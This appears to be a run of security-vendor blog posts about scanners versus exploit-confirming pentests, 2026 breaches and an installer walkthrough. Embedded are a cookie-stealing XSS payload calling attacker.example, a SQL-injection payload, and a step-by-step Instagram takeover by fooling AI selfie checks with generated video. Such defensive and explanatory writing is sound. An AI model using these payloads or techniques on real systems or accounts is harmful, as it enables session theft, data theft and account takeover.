This pattern repeats across managed services. Hosted email, cloud identity providers, SaaS payment processors, outsourced HR platforms: all create the same structure, where many organizations depend on a single shared technical layer that may fall outside any individual tenant's security scope.

Assessments tend to stay inside the customer's perimeter. Attackers work on the asset's actual architecture.

If you want to see how proof-first recon maps the full blast radius on your own infrastructure, compare what Sekura finds versus what scanners report.

A scanner's job, as traditionally defined, is to flag every location in your codebase where a known-vulnerable pattern or dependency exists. That task is tractable. Determining whether that pattern is actually reachable, callable, and exploitable in your specific running application is much harder. Most scanners do not attempt it.

Why Your Alert Queue Fills With Noise

The typical production codebase generates between 300 and 1,000 CVSS "high" or "critical" findings per release cycle. Research by Kula et al. showed that over 80% of vulnerable library functions in real Java projects are never called by the application that depends on them. Veracode's State of Software Security data shows median time-to-remediation for critical findings is measured in months, because teams cannot separate real issues from theoretical ones.

This is not laziness. It is a structural problem. Your scanner cannot tell you whether the vulnerable deserialize() method in commons-text-1.9.0 is reachable through any call chain in your application. It tells you the library is present and the version is flagged.

CVSS does not resolve this. CVSS scores severity of the vulnerability in isolation from your code. A CVSS 9.8 in a dependency you never invoke is, practically speaking, not a vulnerability in your application.

The False Positive Rate You Are Paying For

False positive rate, in this context, is the fraction of scanner alerts that represent findings a real attacker could not exploit in your deployed application. This number is not published by most scanner vendors.

Internal measurements on production codebases put it between 60% and 85%. Other published research lands in the same range. That means for every 10 "critical" alerts, six to eight go nowhere.

The triage cost is real. A security engineer spending 30 minutes per finding, processing 500 findings per month, spends 250 hours. At a fully loaded cost of $150 per hour, that is $37,500 per month spent on labor that reduces no actual risk.

I think that is the real price of severity-based scanning. Not the license fee. The engineering time.

How Reachability Analysis Changes the Problem

Reachability analysis starts with a different question: can an attacker reach this code path through any input surface in the deployed application?

Answering it requires more than pattern matching. The steps are:

1. Build the actual call graph of the application, not just the dependency tree.
2. Identify which function entry points are reachable from external input surfaces: HTTP handlers, message queues, file parsers, RPC endpoints.
3. Trace whether the vulnerable code path can be triggered by attacker-controlled input given actual data flow.
4. Attempt to synthesize a working exploit, not a theoretical payload schema.
5. Report only findings where that synthesis succeeds.

The difference between "this function exists in a library you use" and "we constructed an HTTP request that reaches this function and triggers the vulnerability" is the difference between probability and proof.

flowchart TD
    A[Dependency CVE found by SAST] --> B{Vulnerable function imported?}
    B -- No --> C[Discard: not reachable]
    B -- Yes --> D{Called from external entry point?}
    D -- No --> C
    D -- Yes --> E{Attacker input can reach call?}
    E -- No --> C
    E -- Yes --> F[Exploit synthesis phase]
    F -- Synthesis fails --> G[Discard: hypothesis only]
    F -- Synthesis succeeds --> H[Report with working proof-of-exploit]

Most findings exit through node C. That is by design, not by oversight.

What a Collapsed Triage Queue Looks Like

Proof-first scanning changes the output, not just the volume. Instead of 500 findings with mixed CVSS scores, you receive a small set of confirmed findings, each with an attached working exploit payload.

I believe that changes how teams operate at a fundamental level. You stop triaging and start fixing things that are definitively broken.

Sekura runs seven phases: white-box SAST, recon, dynamic probing, exploit synthesis, exploit-chain analysis, post-quantum cryptography review, and reporting. A finding reaches the report only if the exploit synthesis phase produces a working proof. If synthesis fails, the hypothesis is discarded.

Your engineers receive a PR comment with a concrete payload, not a ticket with a score. They patch, push, and the scan reruns. The feedback loop is tight.

Scanning has existed for 25 years. The field has spent most of that time optimizing for recall: surface everything that might be a problem. The next phase is about precision: report only what is actually a problem. The scanner that sends you 500 tickets is not more thorough than one that sends you 12. It is less honest about what it actually knows.

If you want to run a proof-first scan against your own codebase, start at /poc/.

On June 11, 2026, attackers used a legacy credential tied to a service account originally created for a decommissioned third-party integration prototype. Using that foothold inside Klue's infrastructure, they pushed a malicious code update to production that harvested OAuth tokens. Those tokens authorized Klue's connections to customers' Salesforce, HubSpot, SharePoint, Zoom, Gong, Chorus, Clari, Google Drive, and Slack instances. Klue identified the access on June 12, revoked the affected credentials, and notified customers the same day.

BleepingComputer reported that Icarus claimed the attack publicly on June 19, listing confirmed victims on its extortion site: HackerOne, Huntress, Jamf, OneTrust, Recorded Future, Snyk, Sprout Social, Insurity, and Tanium. SecurityWeek subsequently reported that BeyondTrust and LastPass were also affected. Salesforce disabled the Klue Battlecards integration across its platform pending investigation. Icarus, a ransomware and extortion group that emerged in April 2026, threatened public release of the stolen data unless Klue paid a ransom.

Stolen data varied by organization and included CRM contacts, price quotes, competitive intelligence reports, sales communications, and internal licensed-user lists. Klue stated it found no evidence of access to production customer data beyond what was connected through the harvested OAuth tokens. Two aspects of this incident are worth examining closely.

What scanners would have missed

The initial access point here was not a software vulnerability. No CVE. No known-vulnerable package. The entry was a service account credential that outlived the integration it was created for, with production write access still intact.

Here is what four standard tooling categories would have returned on that:

1. SAST: Scanned Klue's codebase for injection sinks, unsafe deserialization, and path traversal. A service account's retained permissions are not a code pattern. Nothing flagged.
2. DAST: Probed Klue's external API for authentication bypass and access-control weaknesses. DAST sees the running application from the outside. It does not model the internal trust relationship that allows a service account to push production code updates.
3. SCA: Found no known-vulnerable third-party packages, because there were none in this path.
4. CVSS: A stale service account with retained write access lands somewhere in the medium range on base scoring. It requires authenticated access, so attack complexity is non-trivial. CVSS does not compose what that access enables: a code push that harvests OAuth tokens for nine external organizations in a single operation.

Scanners score individual findings. They do not chain those findings into attack paths. That gap is where this incident lived.

What Sekura would have shown

Sekura's Phase 5 (exploit-chain analysis) is where this attack surface becomes concrete.

Phase 2 (recon) would have enumerated Klue's service accounts, their associated permissions, and their last-used timestamps, surfacing the dormant integration account as a candidate finding. Phase 3 (dynamic probing) would have confirmed that the credential remained valid against the authentication endpoint. From those two findings, Phase 5 would have synthesized the full chain:

sequenceDiagram
  participant A as Icarus
  participant SA as Dormant Service Account
  participant Prod as Klue Production
  participant Tok as OAuth Token Store
  participant SF as Customer Salesforce
  A->>SA: authenticate with legacy credential
  SA->>Prod: push malicious code update
  Prod->>Tok: code harvests stored OAuth tokens
  A->>SF: present harvested OAuth token
  SF-->>A: CRM data returned

The exploit-chain agent would have produced a finding showing that the service account's write access to the production deployment pipeline creates a path to customer OAuth tokens, and from there to confidential data in eleven external SaaS environments. The severity of that finding is not derived from the credential itself. It comes from the chain: one stale key, one code push, eleven confirmed victims.

I think this is the distinction that matters. A credential lifecycle audit tells you a service account is stale. Exploit-chain analysis tells you what an attacker can build on top of that staleness.

The bigger pattern

This is a supply chain attack through integration surface area. Klue had no vulnerability in its core product. The failure was in the lifecycle of a single service account that accumulated persistent write access over time and was never cleaned up.

Every SaaS platform that offers customer integrations accumulates this kind of residual access: API keys, OAuth grants, service accounts, webhook credentials. Each decommissioned integration that leaves a credential behind is a potential entry point. The Icarus group did not need a zero-day. It needed one valid key and production write access to Klue's deployment pipeline.

The blast radius is the more significant detail. One vendor, one credential, eleven named organizations, and data spanning CRM contacts, competitive intelligence, pricing, and internal user lists. That multiplier is why integration surface area has become a recurring attack vector in 2026.

If you want to see what this chain looks like against your own integration layer, compare what we surface versus traditional scanners.

Snyk: Dependency Coverage at Scale

Snyk is a software composition analysis (SCA) tool. It reads your package.json, requirements.txt, pom.xml, or go.sum and tells you which third-party packages carry known CVEs.

This is genuinely useful work. Open-source dependencies are a major attack surface. Log4Shell (CVE-2021-44228) spread through Java applications precisely because teams did not know which of their services pulled in a vulnerable log4j version. Snyk would have caught that.

The scope of what Snyk answers is specific. It knows about the dependency. It does not know whether the vulnerable function in that dependency is actually called in your code. It does not know whether your network topology exposes the package. It does not run any exploit.

Snyk is the right tool when:

1. You need a continuous inventory of which packages your applications pull in.
2. You want automated alerts when a new CVE affects a package you already use.
3. Your engineering team wants fix suggestions integrated directly into pull requests.

Veracode: SAST for Code Pattern Coverage

Veracode is a static application security testing (SAST) platform. It parses your source code and traces data flows to identify patterns that match known vulnerability classes: SQL injection, cross-site scripting, command injection, and around forty other CWE categories.

The analysis can be thorough. Veracode tracks tainted data across function calls and module boundaries. It supports Java, .NET, Python, JavaScript, Go, and more. Its CWE coverage is broad. It integrates into most CI pipelines.

The limitation is structural. Static analysis reasons about code as text. It does not run your application. It cannot tell you whether the SQL injection it flagged is in a code path that is actually reachable from the internet, or whether your WAF blocks it, or whether the input is sanitized three function calls upstream. False positive rates in enterprise SAST deployments typically run between 40% and 80%. Your team ends up triaging findings rather than fixing them.

Veracode makes sense when:

1. A compliance framework (SOC 2, FedRAMP, PCI DSS) requires evidence of code-level security review.
2. You want a systematic catalog of potential vulnerability classes across your entire codebase.
3. You have dedicated AppSec capacity to manage the triage queue that comes with it.

Sekura: Confirmed Exploitability

Sekura is an autonomous penetration testing platform. We do not scan for patterns. We try to exploit your application.

The pipeline runs seven phases: white-box SAST, recon, dynamic probing, exploit synthesis, exploit-chain analysis, post-quantum cryptography review, and reporting. Every finding in the final report is a confirmed exploit. If Sekura cannot exploit a hypothesis, it does not appear in the report.

This is a strict constraint. You do not get a list of things that might be problems. You get a list of things that are problems.

Here is what a confirmed finding looks like in the output:

Finding:  SQL Injection in /api/orders
Method:   POST /api/orders
Payload:  {"order_id": "1 UNION SELECT * FROM users; --"}
Evidence: HTTP 200, full user table returned (847 rows)
Status:   CONFIRMED EXPLOITABLE
CVSS:     9.1

That is not a guess. That is a working exploit, ready for your remediation team.

How to Choose

These tools are not substitutes. Each answers a different question.

flowchart TD
    A[Security concern] --> B{What do you need to know?}
    B --> C[Which dependencies have known CVEs?]
    B --> D[Does my code match vulnerability patterns?]
    B --> E[Can an attacker actually compromise my app?]
    C --> F[Snyk]
    D --> G[Veracode]
    E --> H[Sekura]

Here is a practical framework for tooling decisions:

1. Use Snyk if your primary concern is open-source dependency hygiene and CVE tracking.
2. Use Veracode if you need compliance evidence from code-level security scanning.
3. Use Sekura if you want to know what an attacker can actually do to your application today.
4. Use all three if your risk tolerance justifies it. They stack; they do not conflict.

I think the industry conflates detection with exploitation because detection tools are older, more familiar, and significantly cheaper. But a CVE in a package you depend on does not mean you are exploitable. And a clean SAST report does not mean you are safe. The only way to answer the exploitation question is to try.

Organizations with mature SAST and SCA programs still get breached. The exploited vulnerability is usually absent from any scanner report. It is a logic flaw, a misconfigured access control, or a chain of individually low-severity findings that combine into a critical one. Static analysis cannot see those. Autonomous pentesting can.

The security industry is still calibrating what it means to know you are secure. Running a scan is not the same as running a test.

See what Sekura confirms in your environment at /poc/.

On June 14, the extortion group posted online that it had breached three Council of Europe entities: the Secretariat, the European Directorate for the Quality of Medicines, and the Parliamentary Assembly. The group says the dataset contains 429,000 files spanning records from 2011 to 2026. According to BleepingComputer's reporting, the files include more than 409,000 payslips, 3,700 personnel files, and 14,000 CVs, plus records containing names, dates of birth, home addresses, phone numbers, employee IDs, salaries, bank account details, and medical records for over 10,000 current and former employees, contractors, and job applicants.

ShinyHunters set a deadline of June 16 for the Council to make contact before releasing the data publicly. SecurityWeek reported that the Council said it was "investigating the matter and assessing the situation." No ransom figure was disclosed.

The group claims the entry point was CVE-2026-35273, a zero-day in Oracle PeopleSoft, the HR and workforce platform the Secretariat runs. PeopleSoft self-service portals are routinely internet-facing so staff can reach payroll and personal records from outside the office. That exposure is standard. What matters is what the authentication layer looked like from an external probe. Two things stand out in the technical reporting.

What scanners would have missed

Standard scanners address three attack surfaces:

1. Custom application code (SAST)
2. Open source dependencies (SCA)
3. Web endpoint behaviors (DAST)

PeopleSoft's session initialisation logic does not fit any of them.

SAST tools run against code your team writes. PeopleSoft's authentication layer is vendor code; you do not have the source. SCA tools flag the libraries you imported; PeopleSoft is not a package in your dependency tree. DAST tools probe HTTP endpoints for known-bad inputs. A DAST tool aimed at a PeopleSoft login page will confirm that TLS is present and the form submits over HTTPS. It will not understand the state machine inside the session handshake, which is where CVE-2026-35273 reportedly lives.

Before the CVE was assigned, no scanner had a signature for it. After publication, the CVSS base score joins a triage queue. A team carrying a hundred open scanner alerts, many on code paths that external attackers cannot reach, will weigh a PeopleSoft advisory against the backlog and schedule a patch window. The score is identical whether the vulnerable endpoint is internal-only or internet-facing with payroll and medical records for ten thousand people behind it. Reachability does not appear in the base score.

That is the gap. The score does not know what is reachable. The scanners do not cover the platform at all.

What Sekura would have shown

Sekura's Phase 3 (dynamic probing) would have produced a finding on this attack surface without a CVE signature in the database.

Phase 2 (recon) would fingerprint the externally reachable PeopleSoft portal first. The portal's HTTP response headers, URL path structure, and session token format identify it as PeopleSoft to a trained probe. We flag it as a high-interest target: internet-facing, authentication-gated, HR data store behind it.

Phase 3 then tests the authentication boundary directly. It does not reference a CVE list. It issues sequences of crafted requests against the session initialisation flow, varying token structure, request ordering, and parameter encoding, then records how the application responds to each variant. An authentication bypass of the type described in CVE-2026-35273 produces a characteristic signal: session tokens issued before credential verification completes, or diverging response codes depending on which step in the handshake is dropped.

sequenceDiagram
  participant Probe as Sekura Probe Agent
  participant PS as PeopleSoft Portal
  participant HR as HR Data Store
  Probe->>PS: baseline auth request
  PS-->>Probe: 200, session token A
  Probe->>PS: crafted request, handshake step 2 omitted
  PS-->>Probe: 200, session token B (auth incomplete)
  Probe->>PS: HR records request with token B
  PS->>HR: fetch record
  HR-->>Probe: payroll record returned
  Probe->>Probe: finding: auth bypass at /psp/ps/ endpoint

The finding names the endpoint, includes the crafted request sequence, and attaches the data returned. It does not say "patch CVE-2026-35273." It says: Sekura retrieved a payroll record using an unauthenticated session token. Here is the HTTP exchange.

That is a proof, not a probability.

The bigger pattern

Enterprise HR platforms are internet-facing by design. Self-service payroll access requires it. Organisations accept that exposure and then rely entirely on the vendor's authentication to hold the line. When the vendor has an unpatched zero-day, there is no secondary control to fall back on.

ShinyHunters targets this category because data density is high. Payslips, bank account details, medical records, and CVs sit together in one structured system. A single authentication bypass produces everything needed for identity fraud at scale across thousands of individuals.

I think 2026 is the year when HR platform security gets the same continuous scrutiny that network perimeters started getting a decade ago. Vendor patch cadences and annual scan passes are not enough for systems this exposed and this dense. The attacks are pointing at the assumption.

If you want to see what proof-first dynamic probing looks like against your own internet-facing applications, see how we compare to scanners.

It is, for most teams. The typical sequence: six weeks before the audit window, someone exports scanner results, maps findings to controls by hand, writes justification narratives, and assembles an evidence spreadsheet. Then the cycle restarts next year.

We think this is a tooling problem, not a skills problem. Security testing and compliance tracking live in separate systems, so bridging them takes manual effort every time. The scan is not the bottleneck. The translation is.

How Finding-to-Framework Mapping Works

When Sekura confirms a finding with a working exploit, it tags that finding to every control it violates across the frameworks we support. The tags are deterministic. They derive from the exploit class, the affected asset type, and the control definition.

A stored XSS finding in a customer-facing application maps to controls in SOC 2, ISO 27001, and PCI DSS simultaneously. You do not build that list. We compute it at scan time.

Here is what that looks like in the SARIF output:

{
  "ruleId": "SEKURA-XSS-STORED-001",
  "level": "error",
  "message": { "text": "Stored XSS via unsanitized input at /api/comments" },
  "properties": {
    "proofOfExploit": "POST /api/comments body=<script>fetch('https://attacker.example/?c='+document.cookie)</script>",
    "frameworkMappings": {
      "SOC2":          ["CC6.1", "CC6.8"],
      "ISO27001-2022": ["A.8.28", "A.8.29"],
      "PCIDSS-v4":     ["6.2.4", "6.4.1"],
      "NIST-SP800-53": ["SI-3",  "SI-10"]
    }
  }
}

We cover 14 frameworks. Every confirmed finding surfaces the controls it touches, across all relevant frameworks at once.

What Disappears from Your Audit Prep

I think the underrated benefit is not the mapping itself. It is the work the mapping eliminates.

With automatic tagging, these tasks drop off your audit checklist:

1. Manual cross-referencing of findings against each framework's control list.
2. Writing narratives to explain why a finding is in scope for a given framework.
3. Hunting for evidence that a finding was remediated and when.
4. Reconciling output from tools that use incompatible severity language.
5. Defending gaps between what was tested and what the framework requires.

The fifth item is where most audits slow down. Auditors ask whether specific control categories were tested. With Sekura, every scan covers the full seven-phase pipeline: white-box SAST, recon, dynamic probing, exploit synthesis, exploit-chain analysis, post-quantum cryptography review, and reporting. The coverage is not asserted in a policy document. It is documented in the scan output.

Compliance Does Not Hold Still

A clean pentest in Q1 does not mean clean controls in Q4. Compliance degrades as your software changes.

Sekura runs on every push in your GitHub Actions pipeline. The control-to-finding mapping stays current with your codebase. If a new deployment introduces a PCI DSS gap, you see it in the next CI run, not at the next annual test.

Here is how that continuous loop looks:

flowchart TD
    A[Push to main] --> B[Sekura scan runs in CI]
    B --> C{Findings?}
    C -- None --> D[Control status: passing]
    C -- Yes --> E[Findings tagged to frameworks]
    E --> F[Engineers remediate]
    F --> A
    D --> G[Audit evidence log updated]
    E --> G
    G --> H[Auditor requests evidence]
    H --> I[Pull scan history by control and date]

The practical effect is that your compliance posture reflects the current state of your software, not the state it was in when someone last ran a manual test.

At Audit Time

The evidence package auditors typically request is already in your scan history.

For each framework, you get:

1. Controls Sekura tested, with the test methodology recorded.
2. Findings per control, each with a working proof-of-exploit attached.
3. Remediation history: when a finding appeared, when it closed, and which scan confirmed the fix.
4. Controls with no findings, meaning they cleared the full test run.

You can export this per framework from the Sekura dashboard or pull it through the API. There is no translation sprint. The auditor gets evidence tied to specific scan runs, not a manually assembled spreadsheet.

The deeper point is that security and compliance are not two separate programs. When a working exploit is the unit of evidence, the compliance record is a direct output of the security work. You stop maintaining two systems and start getting one as a byproduct of the other.

See how Sekura maps findings to your compliance requirements: /product/

Evertec discovered the intrusion on May 13, 2026, and notified its financial institution clients two days later. The company filed an SEC Form 8-K on June 9, with Investing.com reporting that the unauthorized access originated from a third-party support platform used to service financial institution accounts, not from Evertec's core payment processing systems. The company stated the attacker no longer has access, that law enforcement was notified, and that no service disruption occurred.

Popular, Inc., parent of Banco Popular de Puerto Rico, filed a separate 8-K confirming it was notified on May 15 and has deployed enhanced fraud monitoring for affected customers. The full record count remains under investigation. The exposed data includes debit card numbers, transaction records, and in some cases customer names and contact details. That combination is sufficient to execute payment card fraud without any further access to Evertec's own systems.

Two things stand out from the reporting.

What scanners would have missed

This was not a code vulnerability. No SQL injection. No deserialization flaw. No CVE.

The attacker reached production payment data through an authorized support platform. That platform held a legitimate credential because support workflows require access to customer records. The authorization was intentional. The data was there by design.

Security scanning tools have no view of this. SAST scans Evertec's code. DAST probes Evertec's application endpoints. SCA checks open source dependencies. None of those tools ask: which external parties currently hold live credentials with access to PCI-scope data, under what conditions, and with what scope limits?

CVSS scores have no vector for "authorized vendor with unconstrained data access." If every CVE in Evertec's codebase scored zero, this access path would remain open. A scanner reporting "no critical findings" would be technically accurate and practically useless.

The reachability question that matters here is not "can an attacker reach this endpoint from the internet?" It is "which third parties currently hold production credentials that touch payment data, and what is the blast radius of each one?" Scanners are not designed to answer that. They scan the code, not the access graph around it.

Support platform credentials are frequently granted with "full access" for a specific support engagement and never subsequently narrowed. The credential becomes ambient. The access becomes invisible to any tool that only reads source.

What Sekura would have shown

Phase 2 of Sekura's pipeline is recon. The recon agent maps the real attack surface: not just public endpoints, but the full graph of entities with privileged access to the target environment. That includes OAuth tokens issued to third-party platforms, API keys held by support tooling, and service accounts created for vendor integrations.

For a payment processor like Evertec, recon would produce findings like:

1. Support platform holds a service account with read access to the production transaction database, including PAN-bearing columns.
2. The credential scope covers the full customer table, not a subset restricted to open ticket records.
3. No query-level audit log retention is attached to that service account.
4. The credential has not been rotated in over a year.

I think none of those findings require code review. They require enumerating what is connected to the production environment and what each connection can read. For a fintech handling payment data, that means knowing which support tools hold a service account, what that account can query, and whether the access scope was ever narrowed from the initial grant.

Sekura's exploit-chain analysis phase would then trace what an attacker can do with that credential: pull card records at scale, correlate with transaction history, exfiltrate under traffic patterns indistinguishable from normal support queries. The proof is the data access path, not a code execution chain.

We would not have prevented this breach. We would have produced a finding showing the support platform held a credential capable of bulk-reading PCI-scope records, with a working proof of access.

The bigger pattern

Vendor access failures have become a structural breach pattern in 2025 and 2026. The scenario repeats: a third party with legitimate, authorized access to production data becomes the entry point. The victim's own code is clean. Their own endpoints are patched. Their own team is not compromised.

The attack surface extended to a vendor. The security testing did not.

Most organizations can name their top critical CVEs. Fewer can enumerate every external party currently holding a live credential with access to sensitive production data. Fewer still can answer: what can that credential read, in bulk, right now?

The gap between those two questions is where breaches like this one happen. Vendor ecosystems are growing, and the access grants they accumulate rarely shrink on their own. The Evertec incident is a visible data point in a pattern that is not new but is not improving either.

If you want to map the full graph of what can reach your production data, see how Sekura differs from conventional scanners.

Before your shell prompt returns

The npx runtime downloads sekura@latest from the npm registry over TLS 1.3. That is table stakes for any package. What comes next is not.

We ship a detached ed25519 signature alongside the package tarball. The installer checks it before executing a single line of application code. The public key is pinned in the binary. There is no network call to fetch it. If the signature check fails, the installer exits with a non-zero code and prints the expected versus received fingerprint so you can audit it yourself.

$ npx sekura@latest init

Fetching sekura@0.9.1 from registry.npmjs.org...
Verifying package signature... ok (ed25519/sha-256)
Detecting IDE environment...

I think this step matters more than it sounds. Supply-chain attacks target exactly this moment. A compromised package that skips its own verification is invisible to your terminal.

IDE detection and MCP registration

The installer scans for active development environments in a fixed order. It checks running processes, config directories, and environment variables set by each IDE's native extension host.

The detection order is:

1. Claude Code: checks for CLAUDE_CODE_ENTRYPOINT in the environment and ~/.claude/ on disk.
2. Cursor: looks for cursor in the running process list and ~/.cursor/extensions/.
3. VS Code: checks VSCODE_PID and ~/.vscode/extensions/.
4. Windsurf: checks for windsurf in the process list and ~/.windsurf/.

If multiple IDEs are detected, you are prompted to pick one. If none are detected, the installer writes a generic MCP config to ~/.config/sekura/mcp.json and prints the path.

The MCP server registration tells your IDE where to route Sekura tool calls. After init completes, your IDE can ask Sekura to describe a finding, show a proof-of-exploit, or re-run a specific scan phase without leaving the editor.

OAuth and keychain storage

Init opens a browser tab to https://app.sekura.ai/oauth/authorize. You authenticate with GitHub. We issue a short-lived JWT and a longer-lived refresh token.

The tokens are stored in your system keychain, not in a dotfile.

macOS:   Keychain Access (service name: "sekura-ai")
Linux:   libsecret / GNOME Keyring or KWallet
Windows: Windows Credential Manager

We never write tokens to disk in plaintext. The keychain API handles decryption in memory. If you revoke access from app.sekura.ai/settings/tokens, the refresh token is invalidated server-side and the next credential read returns an authentication error locally.

The installer does not ask for your GitHub token. It asks GitHub to authenticate you via OAuth, and GitHub tells us who you are. We never see your GitHub credentials.

Workflow commit and scan dispatch

The last step wires up continuous scanning. Init commits a GitHub Actions workflow file to your repository and sets one repository secret.

sequenceDiagram
    participant Dev as You
    participant CLI as npx sekura init
    participant GH as GitHub
    participant Runner as Actions Runner
    participant Sekura as Sekura Platform

    Dev->>CLI: npx sekura@latest init
    CLI->>GH: OAuth (browser redirect)
    GH-->>CLI: access token
    CLI->>GH: commit .github/workflows/sekura.yml
    CLI->>GH: set repository secret SEKURA_TOKEN
    Dev->>GH: git push (feature branch)
    GH->>Runner: trigger sekura.yml
    Runner->>Sekura: dispatch scan (repo + commit SHA)
    Sekura-->>GH: SARIF upload + PR annotations
    GH-->>Dev: review comments with proof-of-exploit

The committed workflow file is short. Two jobs: one that runs on every pull request, one that runs on pushes to main.

name: Sekura Security Scan

on:
  pull_request:
  push:
    branches: [main]

jobs:
  scan:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with:
          fetch-depth: 0
      - uses: sekura/scan-action@v1
        with:
          token: ${{ secrets.SEKURA_TOKEN }}

The fetch-depth: 0 is not boilerplate. We need the full commit history for white-box SAST. A shallow clone produces false negatives because our SAST phase traces data flows across commit boundaries.

The scan action dispatches to the Sekura platform. From there, the seven-phase pipeline runs: white-box SAST, recon, dynamic probing, exploit synthesis, exploit-chain analysis, post-quantum cryptography review, and reporting. Each phase runs as a specialized agent. Results arrive as SARIF uploaded to GitHub's code scanning UI, and as inline review comments on the pull request with working proofs-of-exploit attached.

After init

Most security tools require ongoing configuration. New environment variable here. Updated YAML key there. Another credential rotation next quarter.

I believe the better path is a single setup step that handles its own maintenance. Init stores credentials in the keychain so they survive reboots. The workflow file pins the action to a major version so you get patches without thinking about them. The MCP registration stays current because the server version is negotiated at connection time, not hardcoded.

Security tooling that requires constant attention does not get that attention. The teams that ship secure software are the ones who made security automatic, not the ones who made it thorough.

See the full scan pipeline at /product/.

The technique was simple. An attacker opens the Forgot Password flow and claims the account is hacked. They turn on a VPN to match the target's region, which Instagram now surfaces in the account's About section. Meta's AI support flow then asks the requester to verify identity with a selfie. The attacker pulls a photo from the target's public profile, runs it through an AI video generator to produce a short animation of that person's face moving, and uploads the clip. The AI accepts it as a live selfie. From there the attacker swaps the recovery email to one they control, triggers a password reset, and receives the reset link. Two-factor protections fell away in the process.

404 Media reported that the targets were not new or weakly protected accounts. They were verified, locked-down, high-value handles. Gizmodo noted that the Obama-era White House handle and the account of the US Space Force chief master sergeant were among those hit, and that rare usernames worth a combined seven figures were flipped through private Telegram channels. Meta confirmed no server systems were compromised and said the issue is now fixed. The flaw lived entirely inside the AI verification decision, not in any backend.

Two things are worth pulling out of the reporting.

What scanners would have missed

This attack produced no CVE. There was no injectable field, no memory corruption, no unpatched library. Every request the attacker made was a well-formed, expected call to a flow built to accept exactly those inputs. The defect was in what the AI decided to trust, not in any line of exploitable code.

A SAST tool reads source. It can flag a missing auth check or a tainted input path. It cannot tell you that a vision model will accept a generated face animation as proof of a live human. That is a property of the model's judgment under adversarial input, not a property of the surrounding code.

A DAST tool probes endpoints for injection and misconfiguration. Point it at the account recovery flow and it sees a verification step returning a pass or fail. It has no concept of whether the artifact that earned the pass was a real person or a generated clip. The endpoint behaves correctly by its own contract. The contract is the problem.

SCA checks dependencies for known issues. No dependency was at fault.

CVSS has no field for this. There is no vulnerability to score because the system did what it was designed to do. It evaluated a selfie and made a trust decision. The failure was that the decision boundary could be crossed by a free AI video generator and a public photo. A scanner that ranks everything by CVE will never surface a recovery flow that hands over an account to anyone holding a generated face.

What Sekura would have shown

Phase 3 of Sekura's pipeline is dynamic probing, and phase 5 is exploit-chain analysis. Together they target exactly this class of flaw: a sequence of individually valid steps that compose into account takeover.

A dynamic probing agent exercises the account recovery flow as an attacker would, including the AI verification step, using a generated face artifact derived from public profile data. The exploit-chain agent then links the steps that each looked benign on their own.

The specific finding Sekura would have produced: the identity verification step in account recovery accepts a synthetic face video as a live selfie, and that single pass is sufficient to change the recovery email and reset the password without a second human-reviewed control.

The finding would contain these items:

1. Entry point: Forgot Password flow, region matched via VPN using public About-section data.
2. Verification bypass: AI-generated face animation built from a public profile photo accepted as a live selfie.
3. Account change: recovery email swapped to an attacker-controlled address.
4. Takeover: password reset link delivered to the new email, existing two-factor effectively bypassed.
5. Blast radius: any account whose username and one public photo are known to the attacker.

sequenceDiagram
  participant Attacker
  participant Recovery as Account Recovery
  participant AI as AI Verification
  participant Account
  Attacker->>Recovery: Forgot Password, region matched via VPN
  Recovery->>AI: request live selfie
  Attacker->>AI: AI-generated face video from public photo
  AI-->>Recovery: verification passed
  Attacker->>Account: swap recovery email, reset password
  Account-->>Attacker: full takeover

We would attach the working chain as the proof artifact. A severity label does not tell you that a public photo and a free video tool reach a verified account. A reproduced takeover does.

The bigger pattern

This is an authentication bypass, but the bypassed control was a model, not a password. One AI generated the evidence and another AI accepted it, with no person positioned to catch the mismatch.

That is the signal worth holding onto in 2026. As companies move trust decisions into automated AI flows to cut support cost, the decision boundary itself becomes the attack surface. The question is no longer only whether your code is sound. It is whether your model can be convinced by inputs that another model can manufacture on demand.

Trust decisions made by AI need to be tested the way attackers will test them, before attackers do. If you want to see what proof-first looks like on your own attack surface, book a POC.

7-Eleven notified state regulators in Maine, Vermont, and Massachusetts on May 15 and 16, 2026 that attackers had accessed its franchise application system on April 8. The stolen data included names, physical addresses, Social Security numbers, driver's licenses, dates of birth, and phone numbers. ShinyHunters demanded a ransom. When 7-Eleven declined, the group published a 9.4-gigabyte archive of the stolen files.

The vector was not a code flaw. BleepingComputer reported that ShinyHunters used a modified version of AuraInspector, an open-source tool originally built by Mandiant for auditing Salesforce Aura components, to scan publicly accessible Experience Cloud deployments for misconfigured guest user profiles. When a guest user profile carries excessive object-level permissions, any HTTP client can query the Aura endpoint and receive CRM records. No credentials, no CVE, no exploit code.

By March 2026, ShinyHunters told reporters they had breached between 300 and 400 organizations using this technique, with roughly 100 described as high-profile. 7-Eleven is the most publicly recognized victim confirmed to date. Two things are worth pulling out of the reporting.

What scanners would have missed

The franchise application portal lives on a *.force.com subdomain hosted on Salesforce's infrastructure. That is a separate domain from 7-eleven.com. Pentest scope is typically defined by what the customer registers: the main domain, an API subdomain, a staging environment. A Salesforce Experience Cloud portal running on a *.force.com hostname rarely appears on that list.

But suppose it did. Here is what traditional tooling would return:

1. SAST analyzes source code. Salesforce org configuration is not source code. A guest user profile permission setting lives in Salesforce metadata, not in a repository.
2. DAST probes for known vulnerability patterns: reflected XSS, SQL injection, SSRF, CVE signatures. It has no model for "this endpoint returns CRM records to anonymous callers." The tool reports nothing.
3. SCA scans third-party dependencies. There are no dependencies involved here.
4. CVSS does not apply. There is no CVE. Any severity dashboard that ranks findings by CVSS score returns a blank row for this failure mode.

The issue is a coverage gap, not a missed finding. Traditional tooling is built to test code artifacts and network-accessible services against known signatures. A Salesforce permission profile is neither. It lives outside the scan perimeter and accumulates drift without triggering any CI/CD hook or scheduled scan.

What Sekura would have shown

Phase 2 (Recon) and Phase 3 (Dynamic Probing) would have surfaced this finding together.

The Recon agent starts from the registered domain and enumerates external assets. Certificate transparency logs expose subdomains that organizations operate but do not always document internally. A *.force.com entry associated with 7-Eleven appears in those logs. The agent classifies it as a Salesforce Experience Cloud deployment and passes it to the probing queue with a flag for guest user permission testing.

The Dynamic Probing agent then sends a sequence of unauthenticated requests to the Aura API endpoint on that subdomain.

sequenceDiagram
  participant R as Recon Agent
  participant D as Dynamic Probing Agent
  participant CT as Cert Transparency Logs
  participant Portal as franchise.7eleven.force.com
  R->>CT: enumerate subdomains for 7-eleven.com
  CT-->>R: franchise.7eleven.force.com (Experience Cloud)
  R->>D: probe target, flag: Salesforce guest user check
  D->>Portal: GET / (extract aura.context token)
  Portal-->>D: context token, component list
  D->>Portal: POST /aura (query Contact objects, unauthenticated)
